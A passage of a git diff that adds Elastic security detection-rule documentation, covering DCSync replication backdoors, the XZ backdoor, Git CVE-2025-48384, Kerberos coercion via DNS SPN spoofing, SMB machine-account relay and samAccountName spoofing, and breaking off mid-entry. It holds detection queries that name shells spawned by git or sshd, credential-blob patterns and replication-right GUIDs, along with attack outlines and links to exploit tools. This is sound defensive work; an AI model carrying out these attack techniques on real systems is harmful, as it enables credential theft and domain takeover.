+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Potential Active Directory Replication Account Backdoor*
+
+
+Active Directory (AD) is a critical component in many enterprise environments, managing user and computer accounts. Adversaries may exploit AD by modifying security descriptors to gain replication rights, allowing them to extract sensitive credential data. The detection rule identifies suspicious changes to security descriptors, specifically targeting attributes that grant replication capabilities, which could indicate an attempt to establish a backdoor for credential access.
+
+
+*Possible investigation steps*
+
+
+- Review the event logs for the specific event code 5136 to identify the exact changes made to the nTSecurityDescriptor attribute and the account involved.
+- Examine the winlog.event_data.AttributeValue to determine if the changes include the specific GUIDs (*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2, *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2, *89e95b76-444d-4c62-991a-0facbeda640c) that indicate replication rights were granted.
+- Identify the user or computer account (S-1-5-21-*) that was granted these rights and assess whether this account should have such permissions.
+- Check the account's recent activity and login history to identify any unusual or unauthorized access patterns.
+- Investigate any recent changes or anomalies in the directory service that could correlate with the suspicious modification event.
+- Consult with the Active Directory administrators to verify if the changes were authorized and part of any legitimate administrative tasks.
+
+
+*False positive analysis*
+
+
+- Changes made by authorized administrators during legitimate security audits or system maintenance can trigger the rule. To manage this, create exceptions for known administrative accounts performing regular audits.
+- Automated scripts or tools used for Active Directory management might modify security descriptors as part of their normal operation. Identify these scripts and exclude their associated accounts from triggering alerts.
+- Scheduled tasks or system processes that require replication rights for synchronization purposes may also cause false positives. Review and whitelist these processes if they are verified as non-threatening.
+- Third-party applications with legitimate replication needs might alter security descriptors. Ensure these applications are documented and their actions are excluded from the rule.
+- Temporary changes during system migrations or upgrades can be mistaken for suspicious activity. Monitor these events closely and apply temporary exceptions as needed.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected user or computer account from the network to prevent further unauthorized access or data exfiltration.
+- Revoke any unauthorized permissions or changes made to the nTSecurityDescriptor attribute for the affected account to remove replication rights.
+- Conduct a thorough review of recent changes to the AD environment, focusing on accounts with elevated privileges, to identify any other unauthorized modifications.
+- Reset passwords for all accounts that may have been compromised, prioritizing those with administrative or sensitive access.
+- Implement additional monitoring on the affected account and related systems to detect any further suspicious activity.
+- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine the full scope of the breach.
+- Review and update access control policies and security descriptors in Active Directory to prevent similar unauthorized changes in the future.
+
+==== Setup
+
+
+The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure).
+Steps to implement the logging policy with Advanced Audit Configuration:
+
+```
+Computer Configuration >
+Policies >
+Windows Settings >
+Security Settings >
+Advanced Audit Policies Configuration >
+Audit Policies >
+DS Access >
+Audit Directory Service Changes (Success,Failure)
+```
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.code:"5136" and host.os.type:"windows" and
+  winlog.event_data.AttributeLDAPDisplayName:"nTSecurityDescriptor" and
+  winlog.event_data.AttributeValue : (
+    (
+      *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-* and
+      *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-* and
+      *89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-*
+    )
+  )
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: OS Credential Dumping
+** ID: T1003
+** Reference URL: https://attack.mitre.org/techniques/T1003/
+* Sub-technique:
+** Name: DCSync
+** ID: T1003.006
+** Reference URL: https://attack.mitre.org/techniques/T1003/006/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-execution-via-xzbackdoor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-execution-via-xzbackdoor.asciidoc
new file mode 100644
index 0000000000..b922a729bc
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-execution-via-xzbackdoor.asciidoc
@@ -0,0 +1,151 @@
+[[prebuilt-rule-8-19-11-potential-execution-via-xzbackdoor]]
+=== Potential Execution via XZBackdoor
+
+It identifies potential malicious shell executions through remote SSH and detects cases where the sshd service suddenly terminates soon after successful execution, suggesting suspicious behavior similar to the XZ backdoor.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-endpoint.events.network*
+* logs-endpoint.events.process*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://github.com/amlweems/xzbot
+* https://access.redhat.com/security/cve/CVE-2024-3094
+* https://www.elastic.co/security-labs/500ms-to-midnight
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Linux
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Tactic: Persistence
+* Tactic: Lateral Movement
+* Data Source: Elastic Defend
+* Resources: Investigation Guide
+
+*Version*: 9
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Potential Execution via XZBackdoor*
+
+
+The XZBackdoor leverages SSH, a secure protocol for remote access, to execute malicious commands stealthily. Adversaries exploit SSH by initiating sessions that mimic legitimate activity, then abruptly terminate them post-execution to evade detection. The detection rule identifies anomalies by tracking SSH processes that start and end unexpectedly, especially when non-standard executables are invoked, signaling potential backdoor activity.
+
+
+*Possible investigation steps*
+
+
+- Review the SSH session logs on the affected host to identify any unusual or unauthorized access attempts, focusing on sessions that match the process.pid and process.entity_id from the alert.
+- Examine the command history and executed commands for the user associated with the user.id in the alert to identify any suspicious or unexpected activities.
+- Investigate the non-standard executables invoked by the SSH session by checking the process.executable field to determine if they are legitimate or potentially malicious.
+- Analyze the network activity associated with the SSH session, particularly any disconnect_received events, to identify any unusual patterns or connections to suspicious IP addresses.
+- Check the exit codes of the SSH processes, especially those with a non-zero process.exit_code, to understand the reason for the abrupt termination and whether it aligns with typical error codes or indicates malicious activity.
+
+
+*False positive analysis*
+
+
+- Legitimate administrative SSH sessions may trigger the rule if they involve non-standard executables. To manage this, create exceptions for known administrative scripts or tools that are frequently used in your environment.
+- Automated processes or scripts that use SSH for routine tasks might mimic the behavior of the XZBackdoor. Identify these processes and exclude them by specifying their executable paths or command-line patterns in the rule exceptions.
+- Security tools or monitoring solutions that perform SSH-based checks could be mistaken for malicious activity. Review these tools and add their signatures to the exclusion list to prevent false alerts.
+- Custom applications that use SSH for communication might be flagged. Document these applications and adjust the rule to recognize their specific execution patterns as non-threatening.
+- Temporary network issues causing abrupt SSH session terminations could be misinterpreted as suspicious behavior. Monitor network stability and consider excluding known transient disconnections from triggering alerts.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement.
+- Terminate any suspicious SSH sessions identified by the detection rule to stop ongoing malicious activity.
+- Conduct a thorough review of the affected host's SSH configuration and logs to identify unauthorized changes or access patterns.
+- Reset credentials for any user accounts involved in the suspicious SSH activity to prevent further unauthorized access.
+- Restore the affected system from a known good backup if any unauthorized changes or malware are detected.
+- Implement network segmentation to limit SSH access to critical systems and reduce the attack surface.
+- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems are compromised.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by host.id with maxspan=1m
+  [process where host.os.type == "linux" and event.action == "end" and process.name == "sshd" and process.exit_code != 0] by process.entity_id
+  [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and
+   process.parent.name == "sshd" and process.parent.args == "-D" and process.parent.args == "-R" and
+   process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
+   not (
+     process.args like ("rsync*", "systemctl*", "/usr/sbin/unix_chkpwd", "/usr/bin/google_authorized_keys", "/usr/sbin/aad_certhandler*") or
+     process.command_line like ("sh -c /usr/bin/env -i PATH=*", "sh -c -- /usr/bin/env -i PATH=*") 
+   )] by process.parent.entity_id
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Create or Modify System Process
+** ID: T1543
+** Reference URL: https://attack.mitre.org/techniques/T1543/
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Modify Authentication Process
+** ID: T1556
+** Reference URL: https://attack.mitre.org/techniques/T1556/
+* Tactic:
+** Name: Lateral Movement
+** ID: TA0008
+** Reference URL: https://attack.mitre.org/tactics/TA0008/
+* Technique:
+** Name: Remote Services
+** ID: T1021
+** Reference URL: https://attack.mitre.org/techniques/T1021/
+* Sub-technique:
+** Name: SSH
+** ID: T1021.004
+** Reference URL: https://attack.mitre.org/techniques/T1021/004/
+* Technique:
+** Name: Remote Service Session Hijacking
+** ID: T1563
+** Reference URL: https://attack.mitre.org/techniques/T1563/
+* Sub-technique:
+** Name: SSH Hijacking
+** ID: T1563.001
+** Reference URL: https://attack.mitre.org/techniques/T1563/001/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-git-cve-2025-48384-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-git-cve-2025-48384-exploitation.asciidoc
new file mode 100644
index 0000000000..9924722098
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-git-cve-2025-48384-exploitation.asciidoc
@@ -0,0 +1,124 @@
+[[prebuilt-rule-8-19-11-potential-git-cve-2025-48384-exploitation]]
+=== Potential Git CVE-2025-48384 Exploitation
+
+This rule detects potential exploitation of CVE-2025-48384 via Git. This vulnerability allows attackers to execute arbitrary code by leveraging Git's recursive clone feature to fetch and execute malicious scripts from a remote repository.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* auditbeat-*
+* logs-crowdstrike.fdr*
+* logs-auditd_manager.auditd-*
+* logs-endpoint.events.process*
+* logs-sentinel_one_cloud_funnel.*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.kucoin.com/zh-hant/blog/en-breaking-lazarus-group-apt38-targets-crypto-sector-with-sophisticated-phishing-campaign
+* https://securitylabs.datadoghq.com/articles/git-arbitrary-file-write/
+* https://github.com/acheong08/CVE-2025-48384
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Linux
+* OS: macOS
+* Use Case: Threat Detection
+* Tactic: Execution
+* Data Source: Elastic Defend
+* Data Source: Auditd Manager
+* Data Source: SentinelOne
+* Data Source: Crowdstrike
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Potential Git CVE-2025-48384 Exploitation*
+
+
+This rule flags a Git recursive clone from an HTTP(S) remote followed moments later by a shell spawned by Git—clear evidence of CVE-2025-48384 abuse enabling arbitrary code execution on Linux or macOS. An attacker ships a repository whose submodules or hooks pull and run a bash script during --recursive clone, causing Git to invoke a shell and execute their payload on a developer endpoint.
+
+
+*Possible investigation steps*
+
+
+- Extract the remote URL and parameters from the git invocation and review .gitmodules to enumerate submodules, then assess the domain/account reputation and recent commits for signs of a malicious repo or takeover.
+- Inspect the cloned repository for hook execution vectors by reviewing .git/hooks and any core.hooksPath overrides for newly created or modified executables (post-checkout/post-merge/post-update), noting contents and timestamps.
+- Analyze the spawned shell’s lineage, command line, working directory, and any script or binary launched to identify the payload, compute hashes, and correlate with concurrent outbound connections or file writes.
+- Pivot on the repo URL, hooks filenames, and payload hash across hosts to identify other impacted endpoints, and verify whether this activity aligns with expected developer workflows or CI jobs to rule out benign use.
+- Examine the endpoint for follow-on changes suggesting execution or persistence (new cron/LaunchAgents entries, modified shell profiles, new SSH keys or credentials files, unusual PATH or gitconfig changes), and collect artifacts for forensic review.
+
+
+*False positive analysis*
+
+
+- Legitimate organization-wide or user-level Git hooks installed via core.hooksPath or templates run a post-checkout bootstrap shell script after a recursive HTTP or HTTPS clone, causing git to spawn a shell as a child process.
+- During a recursive HTTP or HTTPS clone, Git invokes a credential or askpass helper implemented as a shell script for authentication, resulting in a benign sh/bash child of the git process.
+
+
+*Response and remediation*
+
+
+- Immediately isolate any host where git clone --recursive from an HTTP(S) URL spawned a shell, terminate the git process tree (bash/sh and curl/wget/python children) launched from the cloned path, and block the repository domain on your proxy and Git hosting.
+- Quarantine the cloned directory and its .git folder, preserve .gitmodules, .git/hooks, and any core.hooksPath target for forensics, then remove executable hooks (post-checkout/post-merge/post-update) and delete the repository and downloaded payload scripts.
+- Rotate credentials available to the user (replace ~/.ssh keys and clear ~/.git-credentials/osxkeychain/libsecret), and eradicate persistence by removing new cron entries, LaunchAgents/LaunchDaemons, modified shell profiles (~/.bashrc, ~/.zshrc), and unexpected PATH or gitconfig changes.
+- Scope and recover by hunting for the same remote URL, hook names, and payload hashes across endpoints and CI runners, reimaging or restoring clean baselines before returning systems to service.
+- Escalate to incident command if multiple hosts show a git->shell chain from the same repository, if the payload invoked sudo or wrote to /etc/cron* or /Library/LaunchDaemons, or if outbound transfers occur to the repo’s domain or newly contacted IPs.
+- Upgrade Git to a patched release for CVE-2025-48384, enforce core.hooksPath to a read-only allowlisted directory, disable recursive submodule cloning by default (submodule.recurse=false), restrict protocols (protocol.file.allow=never; allow only https/ssh), and block clones from untrusted domains in developer and CI environments.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by host.id with maxspan=1m
+  [process where host.os.type in ("linux", "macos") and event.type == "start" and event.action in ("exec", "executed", "process_started", "start", "ProcessRollup2") and
+   process.name == "git" and process.args == "clone" and process.args == "--recursive" and process.args like~ "http*"] by process.entity_id
+  [process where host.os.type in ("linux", "macos") and event.type == "start" and event.action in ("exec", "executed", "process_started", "start", "ProcessRollup2") and
+   process.name in (
+    "dash", "sh", "static-sh", "bash", "bash-static", "zsh", "ash", "csh", "ksh", "tcsh", "busybox", "fish", "ksh93", "rksh",
+    "rksh93", "lksh", "mksh", "mksh-static", "csharp", "posh", "rc", "sash", "yash", "zsh5", "zsh5-static"
+   )] by process.parent.entity_id
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Execution
+** ID: TA0002
+** Reference URL: https://attack.mitre.org/tactics/TA0002/
+* Technique:
+** Name: Exploitation for Client Execution
+** ID: T1203
+** Reference URL: https://attack.mitre.org/techniques/T1203/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc
new file mode 100644
index 0000000000..c8e416ed5c
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc
@@ -0,0 +1,152 @@
+[[prebuilt-rule-8-19-11-potential-kerberos-coercion-via-dns-based-spn-spoofing]]
+=== Potential Kerberos Coercion via DNS-Based SPN Spoofing
+
+Identifies the creation of a DNS record containing a base64-encoded blob matching the pattern "UWhRCA...BAAAA". This pattern corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure, commonly used in Kerberos coercion attacks. It is associated with tools and techniques that exploit SPN spoofing via DNS. Adversaries may abuse this to coerce victim systems into authenticating to attacker-controlled hosts while requesting Kerberos tickets for legitimate services (often the victim's own identity). This enables reflective Kerberos relay attacks, potentially resulting in privileged access such as NT AUTHORITY\SYSTEM, without relying on NTLM fallback.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
+* https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/
+* https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
+* https://github.com/CICADA8-Research/RemoteKrbRelay/blob/main/README.md
+* https://github.com/Orange-Cyberdefense/ocd-mindmaps/blob/main/excalimap/mindmap/ad/authenticated.md
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Data Source: Active Directory
+* Use Case: Active Directory Monitoring
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Potential Kerberos Coercion via DNS-Based SPN Spoofing*
+
+
+
+*Possible investigation steps*
+
+
+- Review the event logs on the affected Windows host to confirm the presence of event code 5137, which indicates a directory service object modification.
+- Inspect the ObjectDN field to identify the full distinguished name of the created DNS record. Look for entries containing Base64-encoded segments matching UWhRCA...BAAAA, which are indicative of an embedded CREDENTIAL_TARGET_INFORMATION payload used in SPN spoofing.
+- Validate the associated user or computer account responsible for the DNS record creation. Investigate whether the account has legitimate administrative access to modify DNS zones or whether it may have been compromised.
+- Correlate with DNS query logs and network telemetry to determine if the suspicious DNS hostname was later queried or resolved by other hosts on the network. A match suggests the attacker moved forward with the coercion attempt.
+- Assess the permissions and access controls on the DNS zones to ensure they are appropriately configured and restrict unnecessary modifications by authenticated users.
+
+
+*False positive analysis*
+
+
+- This activity is unlikely to happen legitimately.
+
+
+*Response and remediation*
+
+
+- Review and remove the malicious DNS record containing the embedded CREDENTIAL_TARGET_INFORMATION Base64 payload (UWhRCA...BAAAA). Ensure that no additional coercion records exist in the same DNS zone.
+- Identify the source of the DNS modification by correlating the event with user context and host activity. Investigate whether the account used was compromised or misused.
+- Audit Kerberos ticket activity following the DNS record creation. Look for suspicious service ticket requests (Event ID 4769) or authentication attempts that could indicate a relay or privilege escalation attempt.
+- Temporarily isolate involved systems if signs of compromise or lateral movement are detected, especially if the record was successfully resolved and used for coercion.
+- Monitor network traffic for signs of Man-in-the-Middle activity, focusing on unusual DNS queries or redirections.
+- Escalate the incident to the security operations center (SOC) for further investigation and to assess the potential impact on other systems.
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure).
+Steps to implement the logging policy with Advanced Audit Configuration:
+
+```
+Computer Configuration >
+Policies >
+Windows Settings >
+Security Settings >
+Advanced Audit Policies Configuration >
+Audit Policies >
+DS Access >
+Audit Directory Service Changes (Success,Failure)
+```
+
+The above policy does not cover the target object by default (we still need it to be configured to generate events), so we need to set up an AuditRule using https://github.com/OTRF/Set-AuditRule.
+
+```
+Set-AuditRule -AdObjectPath 'AD:\CN=MicrosoftDNS,DC=DomainDNSZones,DC=Domain,DC=com' -WellKnownSidType WorldSid -Rights CreateChild -InheritanceFlags Descendents -AttributeGUID e0fa1e8c-9b45-11d0-afdd-00c04fd930c9 -AuditFlags Success
+```
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+host.os.type:"windows" and
+(
+  (event.code:4662 and winlog.event_data.AdditionalInfo: *UWhRC*BAAAA*MicrosoftDNS*) or 
+  (event.code:5137 and winlog.event_data.ObjectDN: *UWhRC*BAAAA*MicrosoftDNS*)
+)
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Adversary-in-the-Middle
+** ID: T1557
+** Reference URL: https://attack.mitre.org/techniques/T1557/
+* Sub-technique:
+** Name: LLMNR/NBT-NS Poisoning and SMB Relay
+** ID: T1557.001
+** Reference URL: https://attack.mitre.org/techniques/T1557/001/
+* Technique:
+** Name: Forced Authentication
+** ID: T1187
+** Reference URL: https://attack.mitre.org/techniques/T1187/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-machine-account-relay-attack-via-smb.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-machine-account-relay-attack-via-smb.asciidoc
new file mode 100644
index 0000000000..7b31989829
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-machine-account-relay-attack-via-smb.asciidoc
@@ -0,0 +1,129 @@
+[[prebuilt-rule-8-19-11-potential-machine-account-relay-attack-via-smb]]
+=== Potential Machine Account Relay Attack via SMB
+
+Identifies potential relay attacks against a machine account by identifying network share access events coming from a remote source.ip but using the target server computer account. This may indicate a successful SMB relay attack.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://github.com/p0dalirius/windows-coerced-authentication-methods
+* https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications
+* https://attack.mitre.org/techniques/T1187/
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Data Source: Elastic Defend
+* Data Source: Active Directory
+* Use Case: Active Directory Monitoring
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Potential Machine Account Relay Attack via SMB*
+
+
+
+*Possible investigation steps*
+
+- Compare the source.ip to the target server host.ip addresses to make sure it's indeed a remote use of the machine account.
+- Examine the source.ip activities as this is the attacker IP address used to relay.
+- Review all relevant activities such as services creation, file and process events on the target server within the same period.
+- Verify the machine account names that end with a dollar sign ($) to ensure they match the expected hostnames, and investigate any discrepancies.
+- Check the network logon types to confirm if they align with typical usage patterns for the identified machine accounts.
+- Investigate the context of the source IP addresses that do not match the host IP, looking for any signs of unauthorized access or unusual network activity.
+- Correlate the findings with other security logs and alerts to identify any patterns or additional indicators of compromise related to the potential relay attack.
+
+
+*False positive analysis*
+
+
+- Machine accounts performing legitimate network logons from different IP addresses can trigger false positives. To manage this, identify and whitelist known IP addresses associated with legitimate administrative tasks or automated processes.
+- Scheduled tasks or automated scripts that use machine accounts for network operations may be flagged. Review and document these tasks, then create exceptions for their associated IP addresses and hostnames.
+- Load balancers or proxy servers that alter the source IP address of legitimate authentication requests can cause false alerts. Ensure these devices are accounted for in the network architecture and exclude their IP addresses from the rule.
+- Temporary network reconfigurations or migrations might result in machine accounts appearing to log in from unexpected hosts. During such events, temporarily adjust the rule parameters or disable the rule to prevent unnecessary alerts.
+- Regularly review and update the list of exceptions to ensure they reflect current network configurations and operational practices, minimizing the risk of overlooking genuine threats.
+
+
+*Response and remediation*
+
+
+- Coordinate isolation of the affected domain controller with infrastructure and identity teams to contain the threat while preserving service availability and forensic evidence. Prioritize this step if active compromise or attacker persistence is confirmed.
+- Reset the domain controller's machine account password, along with any accounts suspected to be compromised or exposed. Ensure strong, unique credentials are used and apply tiered credential hygiene where applicable.
+- Analyze recent authentication logs, event logs, and network traffic, focusing on suspicious activity and the source IPs referenced in the alert. Correlate findings to identify any lateral movement or additional compromised systems.
+- Strengthen network segmentation, especially between domain controllers, administrative workstations, and critical infrastructure. This limits the attack surface and impedes credential relay or reuse across systems.
+- Escalate the incident to the SOC or incident response team to coordinate a full investigation, containment, and recovery plan. Ensure stakeholders are kept informed throughout the response.
+- Enhance detection mechanisms by tuning alerts and deploying additional telemetry focused on credential relay patterns, anomalous authentication, and NTLM-related activity.
+- Conduct a structured post-incident review, documenting findings, identifying control gaps, and updating playbooks, configurations, or security policies to reduce the likelihood of similar incidents in the future.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+file where host.os.type == "windows" and event.code == "5145" and endswith(user.name, "$") and
+
+ /* compare computername with user.name and make sure they match */
+ startswith~(winlog.computer_name, substring(user.name, 0, -1)) and
+
+ /* exclude local access */
+ not endswith(string(source.ip), string(host.ip)) and
+ source.ip != "::" and source.ip != null and source.ip != "::1" and source.ip != "127.0.0.1"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Forced Authentication
+** ID: T1187
+** Reference URL: https://attack.mitre.org/techniques/T1187/
+* Technique:
+** Name: Adversary-in-the-Middle
+** ID: T1557
+** Reference URL: https://attack.mitre.org/techniques/T1557/
+* Sub-technique:
+** Name: LLMNR/NBT-NS Poisoning and SMB Relay
+** ID: T1557.001
+** Reference URL: https://attack.mitre.org/techniques/T1557/001/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-privileged-escalation-via-samaccountname-spoofing.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-privileged-escalation-via-samaccountname-spoofing.asciidoc
new file mode 100644
index 0000000000..75f07dc209
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-privileged-escalation-via-samaccountname-spoofing.asciidoc
@@ -0,0 +1,138 @@
+[[prebuilt-rule-8-19-11-potential-privileged-escalation-via-samaccountname-spoofing]]
+=== Potential Privileged Escalation via SamAccountName Spoofing
+
+Identifies a suspicious computer account name rename event, which may indicate an attempt to exploit CVE-2021-42278 to elevate privileges from a standard domain user to a user with domain admin privileges. CVE-2021-42278 is a security vulnerability that allows potential attackers to impersonate a domain controller via samAccountName attribute spoofing.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e
+* https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/
+* https://github.com/cube0x0/noPac
+* https://twitter.com/exploitph/status/1469157138928914432
+* https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Persistence
+* Tactic: Privilege Escalation
+* Use Case: Active Directory Monitoring
+* Data Source: Active Directory
+* Use Case: Vulnerability
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 214
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Potential Privileged Escalation via SamAccountName Spoofing*
+
+
+In Active Directory environments, the samAccountName attribute is crucial for identifying user and computer accounts. Adversaries may exploit vulnerabilities like CVE-2021-42278 to spoof this attribute, potentially elevating privileges by renaming computer accounts to mimic domain controllers. The detection rule identifies suspicious renaming events, where a machine account is altered to resemble a user account, signaling possible privilege escalation attempts.
+
+
+*Possible investigation steps*
+
+
+- Review the event logs to confirm the occurrence of a "renamed-user-account" action, focusing on entries where the OldTargetUserName ends with a "$" and the NewTargetUserName does not, indicating a potential spoofing attempt.
+- Identify the source of the rename event by examining the event logs for the user or system that initiated the change, and determine if it aligns with expected administrative activity.
